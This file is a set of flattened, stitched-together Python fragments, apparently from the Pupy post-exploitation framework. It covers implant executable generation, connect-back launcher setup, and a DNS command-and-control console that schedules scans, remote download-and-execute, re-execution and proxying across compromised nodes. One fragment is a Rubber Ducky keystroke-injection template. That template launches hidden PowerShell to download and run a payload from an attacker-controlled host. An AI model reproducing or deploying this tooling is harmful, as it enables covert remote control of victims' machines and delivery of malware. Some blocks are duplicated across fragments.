def gen_exe(self, options=''): sourcepath = self.gen_source(random_path=True) if not self.outpath: outfile = os.path.join( self.output_dir or '.', 'pupy_' + ''.join( random.choice(ascii_uppercase + ascii_lowercase) for _ in range(8)) + '.exe') else: outfile = self.outpath try: command = ['mcs'] if self.server: config = self.server.config else: from pupylib import PupyConfig config = PupyConfig() sdk = config.get('gen', 'mcs_sdk', 4) options = ' '.join( [options, config.get('gen', 'mcs_options', '') or '']) if options: command.extend(shlex.split(options)) if not self.conf.get('debug', False): if '-target:' not in options: command.append('-target:winexe') if '-debug' not in options: command.append('-debug-') if '-optimize' not in options: command.append('-optimize+') command.extend([ '-unsafe', '-noconfig', '-sdk:{}'.format(sdk), '-OUT:{}'.format(outfile), sourcepath ]) self.display( Success('compiling via mono command: {}'.format( ' '.join(command)))) try: output = subprocess.check_output(command).strip() if output: self.display(output) except subprocess.CalledProcessError as e: self.display( Error('Mono compilation failed: {}'.format(e.output))) return None except OSError: self.display( Error( "mcs compiler can't be found ... install mono-mcs package" )) return None finally: os.unlink(sourcepath) return outfile
handler.display( Success('Schedule connect {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'onlinestatus': count = server.dnscnc.onlinestatus(node=args.node, default=args.default) if count: handler.display( Success( 'Schedule online status request to {} known nodes'.format( count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'scan': count = server.dnscnc.scan(args.host, args.first, args.last or args.first, node=args.node, default=args.default) if count: handler.display( Success( 'Schedule online status request to {} known nodes'.format( count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node)))
def do(server, handler, config, args): handler.display( Info("Raw user arguments given for generation: {0}".format( str(args.launcher_args)))) if not args.launcher: handler.display( Info( "Launcher/connection method not given. It is set to 'connect' now" )) args.launcher = 'connect' #launcher method 'connect' or 'auto_proxy' if args.launcher and args.launcher in ('connect', 'auto_proxy'): transport = None #For saving the transport method (default or given by user) transport_idx = None host = None #Host for listening point (not for launcher args) port = None #Port for listening point (not for launcher args) host_idx = None #For saving host:port from user args (if given by user) preferred_ok = True need_transport = False #For appending transport method in launcher args need_hostport = False #For appending host & port for connection back in launcher args if args.launcher_args: #Some arguments are given in command line, saving host&port and transport method total = len(args.launcher_args) for idx, arg in enumerate(args.launcher_args): if arg == '-t' and idx < total - 1: #Manage Transport transport = args.launcher_args[idx + 1] transport_idx = idx + 1 handler.display( Info( "Launcher configuration: Transport for connection back will be set to {0}" .format(repr(transport)))) elif arg == '--host' and idx < total - 1: #Manage host & port for connection back host_idx = idx + 1 hostport = args.launcher_args[host_idx] if ':' in hostport: host, port = hostport.rsplit(':', 1) port = int(port) else: try: port = int(hostport) except: host = hostport handler.display( Info( "Launcher configuration: Host & port for connection back will be set to {0}:{1}" .format(host, port))) need_transport = not bool(transport) need_hostport = not all([host, port]) #If host, port or transport are missing if not all([host, port, transport]): default_listener = None preferred_ok = False if transport: #Transport method is given, get the listener default_listener = server.listeners.get(transport) if not default_listener: handler.display( Error( 'Requested transport {} is not active. Will use default' .format(transport))) #We need to save the transport method for the launcher need_transport = True if not default_listener: try: default_listener = next(server.listeners.itervalues()) except StopIteration: pass if default_listener: #We have a listener, we can set host & port transport = default_listener.name handler.display( Info( 'This local listening point will be used: Transport={} Address={}:{}' .format(default_listener.name, default_listener.external, default_listener.external_port))) if host or port: handler.display( Warn( 'Host and port {0}:{1} are ignored for getting the valid local listening point but' .format(host, port))) handler.display( Warn( 'they are kept for configuring the launcher for connection back' )) if args.prefer_external != default_listener.local: host = default_listener.external port = default_listener.external_port preferred_ok = True handler.display( Info( "Host & port for listening point are set to: {0}:{1}" .format(host, port))) elif not args.prefer_external and not default_listener.local: host = get_listener_ip(cache=False) port = default_listener.port if host: handler.display( Warn( 'Using {0}:{1} as local IP:PORT for the local listening point' .format(host, port))) preferred_ok = True else: preferred_ok = not (default_listener.local and args.prefer_external) #If transport is missing if not transport: handler.display( Error( 'No active transport method. You have to explicitly choose one. Impossible to continue.' )) return #If host or port is missing or preferred_ok if not all([host, port, preferred_ok]): maybe_port = get_listener_port(config, external=args.prefer_external) maybe_host, local = get_listener_ip_with_local( external=args.prefer_external, config=config, igd=server.igd) if (not local and args.prefer_external) or not (host and port): handler.display( Warn('Using configured/discovered: {0}:{1}'.format( maybe_host, maybe_port))) host = maybe_host port = maybe_port else: handler.display(Warn('Unable to find external HOST:PORT')) #If need a transport method because not given by user for launcher if need_transport: if transport_idx is None: args.launcher_args += ['-t', transport] else: args.launcher_args[transport_idx] = transport #Transport method not given by user. Consequently, handler.display( Info("Transport method {0} appended to launcher args".format( repr(transport)))) #If host and port are not given/find for connection back if need_hostport: hostport = '{}:{}'.format(host, port) if host_idx is None: args.launcher_args += ['--host', hostport] else: args.launcher_args[host_idx] = hostport #Host & port method not given by user. Consequently, handler.display( Info("Host & port {0} appended to launcher args".format( repr(hostport)))) #Enable HTTPD if required if server.httpd: handler.display(Info("HTTPD enabled")) wwwroot = config.get_folder('wwwroot') if not args.output_dir: args.output_dir = wwwroot try: output = pupygen.pupygen(args, config, server, handler.display) except pupygen.NoOutput: return except Exception, e: handler.display(Error(e, 'payload generation failed')) import traceback traceback.print_exc() return
class rubber_ducky(): ''' ''' TARGET_OS_MANAGED = ['Windows'] ENCODE_CMD = "java -jar {0} -i {1} -l {2} -o {3}" #{0} encode.jar file, {1} rubber ducky script file, {2} layout file, {3} output file WINDOWS_SCRIPT = """DELAY 3000\nGUI r\nDELAY 500\nSTRING powershell.exe -w hidden -noni -nop -c "iex(New-Object System.Net.WebClient).DownloadString('http://{0}:{1}/p')"\nENTER""" #{0} ip {1} port def __init__(self, display, conf, pupy_conf, link_port=8080, targetOs='Windows'): ''' ''' self.conf = conf i = conf["launcher_args"].index("--host") + 1 self.link_ip = conf["launcher_args"][i].split(":", 1)[0] self.link_port = link_port self.pupy_conf = pupy_conf self.__loadRubberDuckyConf__() self.rubberDuckyScriptFilename = 'rubberDuckyPayload.txt' self.rubberDuckyBinFilename = 'inject.bin' self.targetOs = targetOs self.display = display self.unconfigured = False if self.targetOs not in self.TARGET_OS_MANAGED: self.display( Error( 'Target OS ({0}) is not valid. It has to be in {1}'.format( targetOs, self.TARGET_OS_MANAGED))) def createRubberDuckyScriptForWindowsTarget(self): ''' ''' with open(self.rubberDuckyScriptFilename, 'wb') as w: w.write(self.WINDOWS_SCRIPT.format(self.link_ip, self.link_port)) self.display( Success('Rubber ducky script file generated in {0}'.format( self.rubberDuckyScriptFilename))) def generateInjectBinFile(self): ''' returns True if no error Otherwise returns False ''' rubberDuckyEncodeCmd = self.ENCODE_CMD.format( self.encoderPath, self.rubberDuckyScriptFilename, self.keyboardLayoutPath, self.rubberDuckyBinFilename) try: output = subprocess.check_output(rubberDuckyEncodeCmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True) except subprocess.CalledProcessError, e: self.display( Error( 'Impossible to generate {0} file with encoder: {1}'.format( self.rubberDuckyBinFilename, repr(e.output)))) except Exception, e: self.display( Error( 'Impossible to generate {0} file with encoder: {1}'.format( self.rubberDuckyBinFilename, repr(e)))) return False
def disabled_exit(*args, **kwargs): handler.display( Error('exit() disabled ! use ctrl+D to exit the python shell'))
def do(server, handler, config, args): if not server.dnscnc: handler.display(Error('DNSCNC disabled')) return if args.command == 'status': policy = handler.dnscnc.policy objects = { 'DOMAIN': server.dnscnc.dns_domain, 'DNS PORT': str(server.dnscnc.dns_port), 'RECURSOR': server.dnscnc.dns_recursor, 'LISTEN': str(server.dnscnc.dns_listen), 'SESSIONS': 'TOTAL={} DIRTY={}'.format(server.dnscnc.count, server.dnscnc.dirty), 'POLL': '{}s'.format(policy['interval']), 'TIMEOUT': '{}s'.format(policy['timeout']), 'KEX': '{}'.format(bool(policy['kex'])), } handler.display( Table([{ 'PROPERTY': k, 'VALUE': v } for k, v in objects.iteritems()], ['PROPERTY', 'VALUE'])) if server.dnscnc.commands: handler.display('\nDEFAULT COMMANDS:\n' + '\n'.join([ '{:03d} {}'.format(i, cmd) for i, cmd in enumerate(server.dnscnc.commands) ])) if server.dnscnc.node_commands: handler.display('\nNODE DEFAULT COMMANDS:') for node, commands in server.dnscnc.node_commands.iteritems(): handler.display('\n' + '\n'.join([ '{:03d} {}: {}'.format( i, '{:012x}'.format(node) if type(node) == int else node, cmd) for i, cmd in enumerate(commands) ])) elif args.command == 'info': sessions = server.dnscnc.list(args.node) if not sessions: handler.display(Success('No active DNSCNC sesisons found')) return objects = [] sort_by = None if args.o: sort_by = lambda x: x.system_info['os'] + x.system_info['arch'] elif args.i: sort_by = lambda x: x.system_info['external_ip'] elif args.n: sort_by = lambda x: x.system_info['node'] elif args.c: sort_by = lambda x: x.system_status['cpu'] elif args.m: sort_by = lambda x: x.system_status['mem'] elif args.l: sort_by = lambda x: x.system_status['listen'] elif args.e: sort_by = lambda x: x.system_status['remote'] elif args.u: sort_by = lambda x: x.system_status['users'] elif args.x: sort_by = lambda x: x.system_status['idle'] elif args.t: sort_by = lambda x: str(sorted(config.tags(x.system_info['node']))) if sort_by: sessions = sorted(sessions, key=sort_by, reverse=bool(args.r)) for idx, session in enumerate(sessions): if not (session.system_status and session.system_info): continue object = { '#': '{:03d}'.format(idx), 'P': '', 'NODE': '{:012x}'.format(session.system_info['node']), 'SESSION': '{:08x}'.format(session.spi), 'EIP': session.system_info['external_ip'] or '?', 'IIP': session.system_info.get('internal_ip') or '', 'OS': '{}/{}'.format(session.system_info['os'], session.system_info['arch']), 'CPU': '{:d}%'.format(session.system_status['cpu']), 'MEM': '{:d}%'.format(session.system_status['mem']), 'LIS': '{:d}'.format(session.system_status['listen']), 'EST': '{:d}'.format(session.system_status['remote']), 'USERS': '{:d}'.format(session.system_status['users']), 'IDLE': '{}'.format(session.system_status['idle']), 'TAGS': '{}'.format(config.tags(session.system_info['node'])) } pupy_session = None for c in server.clients: if 'spi' in c.desc: if c.desc['spi'] == '{:08x}'.format(session.spi): pupy_session = c.desc['id'] break # elif c.node() == '{:012x}'.format(session.system_info['node']): # pupy_session = c.desc['id'] if pupy_session: object.update({'P': pupy_session}) color = '' if (session.online_status or session.egress_ports or session.open_ports): color = 'cyan' elif session.system_status['cpu'] > 90 or session.system_status[ 'mem'] > 90: color = 'lightred' elif (session.pstore_dirty): color = 'magenta' elif not session.system_status['idle']: color = 'lightyellow' elif pupy_session: color = 'lightgreen' if color: object = {k: Color(v, color) for k, v in object.iteritems()} objects.append(object) columns = [ '#', 'P', 'NODE', 'SESSION', 'EIP', 'IIP', 'OS', 'CPU', 'MEM', 'LIS', 'EST', 'USERS', 'IDLE', 'TAGS' ] handler.display(Table(objects, columns)) elif args.command == 'sessions': sessions = server.dnscnc.list(args.node) if not sessions: handler.display(Success('No active DNSCNC sesisons found')) return objects = [] sort_by = None if args.b: sort_by = lambda x: x.system_info['boottime'] elif args.o: sort_by = lambda x: x.system_info['os'] + x.system_info['arch'] elif args.i: sort_by = lambda x: x.system_info['external_ip'] elif args.d: sort_by = lambda x: x.duration elif args.c: sort_by = lambda x: x.commands elif args.n: sort_by = lambda x: x.system_info['node'] if sort_by: sessions = sorted(sessions, key=sort_by, reverse=bool(args.r)) for idx, session in enumerate(sessions): object = { '#': idx, 'P': '', 'NODE': '{:012x}'.format(session.system_info['node']), 'SESSION': '{:08x}'.format(session.spi), 'EXTERNAL IP': '{}'.format( session.system_info['external_ip'] or '?' ), 'INTERNAL IP': '{}'.format( session.system_info.get('internal_ip') or '' ), 'ONLINE': '{}'.format( 'Y' if session.system_info['internet'] else 'N' ), 'IDLE': '{}s'.format(session.idle), 'DURATION': '{}s'.format(session.duration), 'OS': '{}/{}'.format( session.system_info['os'], session.system_info['arch'] ), 'BOOTED': '{}s'.format( session.system_info['boottime'].ctime()) if \ session.system_info['boottime'] else '?', 'CMDS': '{}'.format(len(session.commands)) } pupy_session = None for c in server.clients: if 'spi' in c.desc: if c.desc['spi'] == '{:08x}'.format(session.spi): pupy_session = c.desc['id'] break # elif c.node() == '{:012x}'.format(session.system_info['node']): # pupy_session = c.desc['id'] color = None if pupy_session: object.update({'P': pupy_session}) color = 'lightgreen' elif session.idle > server.dnscnc.policy['interval']: color = 'grey' elif not session.system_info['internet']: color = 'lightred' elif len(session.commands) > 0: color = 'yellow' if color: object = {k: Color(v, color) for k, v in object.iteritems()} objects.append(object) columns = [ '#', 'P', 'NODE', 'SESSION', 'OS', 'ONLINE', 'EXTERNAL IP', 'INTERNAL IP', 'IDLE', 'DURATION', 'BOOTED', 'CMDS' ] handler.display(Table(objects, columns)) elif args.command == 'nodes': nodes = server.dnscnc.nodes(args.node) if not nodes: handler.display(Success('No active DNSCNC nodes found')) return objects = [] sort_by = None if args.i: sort_by = lambda x: x.cid if args.a: sort_by = lambda x: x.alert elif args.I: sort_by = lambda x: x.iid elif args.d: sort_by = lambda x: x.duration elif args.c: sort_by = lambda x: len(x.commands) elif args.n: sort_by = lambda x: x.node elif args.v: sort_by = lambda x: x.version if sort_by: nodes = sorted(nodes, key=sort_by, reverse=bool(args.r)) for idx, node in enumerate(nodes): object = { '#': idx, 'P': '', 'A': 'Y' if node.alert else '', 'NODE': '{:012x}'.format(node.node), 'IID': '{}'.format( 'pid:{}'.format(node.iid) if node.iid < 65535 \ else 'spi:{:08x}'.format(node.iid)), 'VER': '{}'.format(node.version), 'CID': '{:08x}'.format(node.cid), 'IDLE': '{}s'.format(node.idle), 'DURATION': '{}s'.format(node.duration), 'CMDS': '{}'.format(len(node.commands)), 'TAGS': '{}'.format(config.tags(node.node)), 'WARN': '{}'.format(node.warning if node.warning else '') } pupy_session = None ids = [] for c in server.clients: if c.node() == '{:012x}'.format(node.node): if (node.iid <= 65535 and c.desc['pid'] % 65535 == node.iid) \ or (node.iid > 65535 and 'spi' in c.desc and \ c.desc['spi'] == '{:08x}'.format(node.iid)): ids.append(str(c.desc['id'])) if ids: pupy_session = ','.join(ids) color = None if pupy_session: object.update({'P': pupy_session}) if node.alert: color = 'lightred' elif node.warning: color = 'cyan' elif pupy_session: color = 'lightgreen' elif node.idle > server.dnscnc.policy['interval']: color = 'grey' elif len(node.commands) > 0: color = 'yellow' if color: object = {k: Color(v, color) for k, v in object.iteritems()} objects.append(object) columns = [ '#', 'P', 'A', 'NODE', 'IID', 'VER', 'CID', 'IDLE', 'DURATION', 'CMDS', 'TAGS', 'WARN' ] handler.display(Table(objects, columns)) elif args.command == 'wait': now = time.time() timeout = None if args.timeout: timeout = now + args.timeout else: timeout = now + handler.dnscnc.policy['timeout'] dirty = True while dirty or (time.time() >= timeout): dirty = False for session in server.dnscnc.list(): if len(session.commands) > 0: dirty = True if dirty: time.sleep(1) elif args.command == 'set': set_kex = None if args.kex is not None: set_kex = True elif args.no_kex is not None: set_kex = False if all([x is None for x in [set_kex, args.timeout, args.poll]]): handler.display(Error('No arguments provided.')) else: count = server.dnscnc.set_policy(set_kex, args.timeout, args.poll, node=args.node) if count: handler.display( Success('Apply policy to {} known nodes'.format(count))) elif args.command == 'reset': count = server.dnscnc.reset(session=args.node, default=args.default) if count: handler.display( Success('Reset commands on {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'connect': # try: count = server.dnscnc.connect(args.host, args.port, args.transport, args.fronting, node=args.node, default=args.default) # except Exception, e: # handler.display(Error(e)) # return if count: handler.display( Success('Schedule connect {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'onlinestatus': count = server.dnscnc.onlinestatus(node=args.node, default=args.default) if count: handler.display( Success( 'Schedule online status request to {} known nodes'.format( count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'scan': count = server.dnscnc.scan(args.host, args.first, args.last or args.first, node=args.node, default=args.default) if count: handler.display( Success( 'Schedule scan request to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'disconnect': count = server.dnscnc.disconnect(node=args.node, default=args.default) if count: handler.display( Success('Schedule disconnect to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'exit': count = server.dnscnc.exit(node=args.node, default=args.default) if count: handler.display( Success('Schedule exit to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'reexec': count = server.dnscnc.reexec(node=args.node, default=args.default) if count: handler.display( Success('Schedule reexec to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'sleep': count = server.dnscnc.sleep(args.timeout, node=args.node, default=args.default) if count: handler.display( Success('Schedule sleep to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'proxy': count = server.dnscnc.proxy(args.uri, node=args.node, default=args.default) if count: handler.display( Success('Schedule proxy to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'dexec': count = server.dnscnc.dexec(args.url, args.action, proxy=args.proxy, node=args.node, default=args.default) if count: handler.display( Success('Schedule sleep to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'pastelink': try: create = None output = None if args.create: create = args.create elif args.create_content: create, output = args.create_content count, url = server.dnscnc.pastelink(content=create, output=output, url=args.url, action=args.action, node=args.node, default=args.default, legacy=args.legacy) if output: return if count: handler.display( Success('Schedule exit to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) except ValueError as e: handler.display(Error('{}'.format(e))) elif args.command == 'extra': sessions = server.dnscnc.list(args.node) if not sessions: handler.display(Error('No sessions found')) return elif len(sessions) > 1: handler.display(Error('Selected more than one sessions')) return session = sessions[0] if session.online_status: handler.display('\nONLINE STATUS\n') objects = [{ 'KEY': Color(k.upper().replace('-', ' '), 'green' if session.online_status[k] else 'lightyellow'), 'VALUE': Color( str(session.online_status[k]).upper(), 'green' if session.online_status[k] else 'lightyellow') } for k in [ 'online', 'igd', 'hotspot', 'dns', 'ntp', 'direct-dns', 'http', 'https', 'https-no-cert', 'https-mitm', 'proxy', 'transparent-proxy', 'stun', 'mintime', 'ntp-offset' ]] handler.display(Table(objects, ['KEY', 'VALUE'])) handler.display('\nPASTES STATUS\n') objects = [{ 'KEY': Color(k, 'green' if v else 'lightyellow'), 'VALUE': Color(v, 'green' if v else 'lightyellow') } for k, v in session.online_status['pastebins'].iteritems()] handler.display(Table(objects, ['KEY', 'VALUE'])) session.online_status = None if session.egress_ports: handler.display('\nEGRESS PORTS: {}\n'.format(','.join( str(x) for x in session.egress_ports))) session.egress_ports = set() if session.open_ports: handler.display('\nOPEN PORTS\n') objects = [{ 'IP': str(ip), 'PORTS': ','.join(str(x) for x in ports) } for ip, ports in session.open_ports.iteritems()] handler.display(Table(objects, ['IP', 'PORTS'])) session.open_ports = {}
myport = get_listener_port(config, external=args.prefer_external) display(Warn( 'Required argument missing, automatically adding parameter ' '--host {}:{} from local or external ip address'.format(myip, myport))) if '-t' in args.launcher_args or '--transport' in args.launcher_args: args.launcher_args += ['--host', '{}:{}'.format(myip, myport)] else: args.launcher_args += [ '--host', '{}:{}'.format(myip, myport), '-t', config.get('pupyd', 'transport') ] elif str(e).strip().endswith('--domain is required') and '--domain' not in args.launcher_args: domain = config.get('pupyd', 'dnscnc').split(':')[0] if not domain or '.' not in domain: display(Error('DNSCNC disabled!')) return display(Warn( 'Required argument missing, automatically adding parameter' '--domain {} from configuration file'.format(domain))) args.launcher_args = [ '--domain', domain ] else: display(launcher.arg_parser.format_help()) return else: break